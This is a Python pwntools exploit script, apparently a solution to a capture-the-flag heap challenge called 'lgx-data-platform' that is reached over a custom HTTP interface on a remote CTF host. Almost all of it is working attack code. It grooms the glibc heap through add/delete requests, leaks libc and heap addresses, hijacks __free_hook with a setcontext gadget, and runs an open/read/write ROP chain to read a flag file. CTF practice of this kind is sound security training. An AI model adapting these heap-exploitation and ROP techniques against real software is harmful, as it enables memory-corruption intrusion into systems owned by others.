1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200
|
from pwn import * import os
r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug' context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64'
libc_path = '/lib/x86_64-linux-gnu/libc.so.6' libc_path = './libc.so.6' elf_path = './lgx-data-platform'
server_ip = "axb.d0g3.cn" server_port = 20101
LOCAL = 0 LIBC = 1
def db(): if(LOCAL): gdb.attach(io)
def get(url): p = 'GET ' + url + ' HTTP/1.1\r\n' p += '\r\n' s(p)
def post(url, data): p = b'POST ' + url.encode() + b' HTTP/1.1\r\n' p += b'Content-Length: ' + str(len(data)).encode() + b'\r\n' p += b'\r\n' p += data s(p)
def add(i, s, d): post('/?request=add_data&index=' + str(i) + '&size=' + str(s), d) ru('HTTP/1.1 200 OK')
def rm(i): get('/?request=delete_data&index=' + str(i)) ru('HTTP/1.1 200 OK')
def get_data(i): get('/?request=get_data&index=' + str(i)) ru('HTTP/1.1 200 OK')
def exploit(): li('exploit...')
add(0, 0x400, b'') add(0x31, 0x37c, b'') add(0x32, 0x37c, b'') add(0x33, 0x348, b'') add(0x34, 0x331, b'') add(0x35, 0x331, b'')
rm(0x31) rm(0x32) rm(0x33) rm(0x34) rm(0x35)
for i in range (16): add(i, 0x100, b'')
for i in range (7): rm(i + 1) rm(8)
add(8, 0x401, b'') add(2, 0x401, b'')
get_data(8) ru('"data":"') leak = u64(io.recv()[-8:-2].ljust(8, b'\x00')) main_arena_offset = 0x1ebb80 libc_base = leak - main_arena_offset - 96 main_arena = libc_base + main_arena_offset free_hook = libc_base + libc.sym['__free_hook'] setcontext = libc_base + libc.sym['setcontext'] + 61 gadget = libc_base + 0x1547A0 gadget = libc_base + 0x154930 ret_addr = libc_base + 0x25679
libc_open = libc_base + libc.sym['open'] libc_read = libc_base + libc.sym['read'] libc_write = libc_base + libc.sym['write'] pop_rdi = libc_base + 0x26b72 pop_rsi = libc_base + 0x27529 pop_rdx_r12 = libc_base + 0x11c1e1 pop_rdx_r12 = libc_base + 0x11c371
li('libc_base : ' + hex(libc_base))
get_data(2) ru('"data":"') leak = u64(io.recv()[-8:-2].ljust(8, b'\x00')) heap = leak - (0) li('heap chunk 2 : ' + hex(heap))
rm(9) rm(10)
for i in range (6): add(i + 0x10, 0x100, b'')
rm(8)
add(9, 0x401, b'') rm(9)
set_context = p64(0) * 4 set_context += p64(setcontext) set_context += p64(0x11111) set_context = set_context.ljust(0xa0, b'\x00') set_context += p64(heap + 0x880 + 0x110) set_context += p64(ret_addr) set_context += b'./flag\x00'
flag_addr = heap + 0x888 + 0xa0 + 0x10 rop = flat([ pop_rdi, flag_addr, pop_rsi, 0, libc_open, pop_rdi, 3, pop_rsi, flag_addr, pop_rdx_r12, 0x100, 0, libc_read, pop_rdi, 1, pop_rsi, flag_addr, libc_write, pop_rdi, 0, libc_read ])
p = p64(main_arena + 96) + p64(main_arena + 96) p = p.ljust(0x100, b'\x00') p += p64(0) + p64(0x111) p += (p64(free_hook) + set_context).ljust(0x100, b'\x00')
p += p64(0) + p64(0x111) p += rop.ljust(0x100, b'\x00') p += b'A' * 0x10
add(0x20, 0x320, p) add(0x21, 0x100, b'')
p = p64(gadget) p += p64(heap + 0x888)
post('/?request=add_data&index=' + str(0x22) + '&size=' + str(0x100), p)
def finish(): ia() c()
if __name__ == '__main__':
if LOCAL: elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = elf.process(env = {"LD_PRELOAD" : libc_path} ) else: io = elf.process() else: elf = ELF(elf_path) io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path)
exploit() finish()
|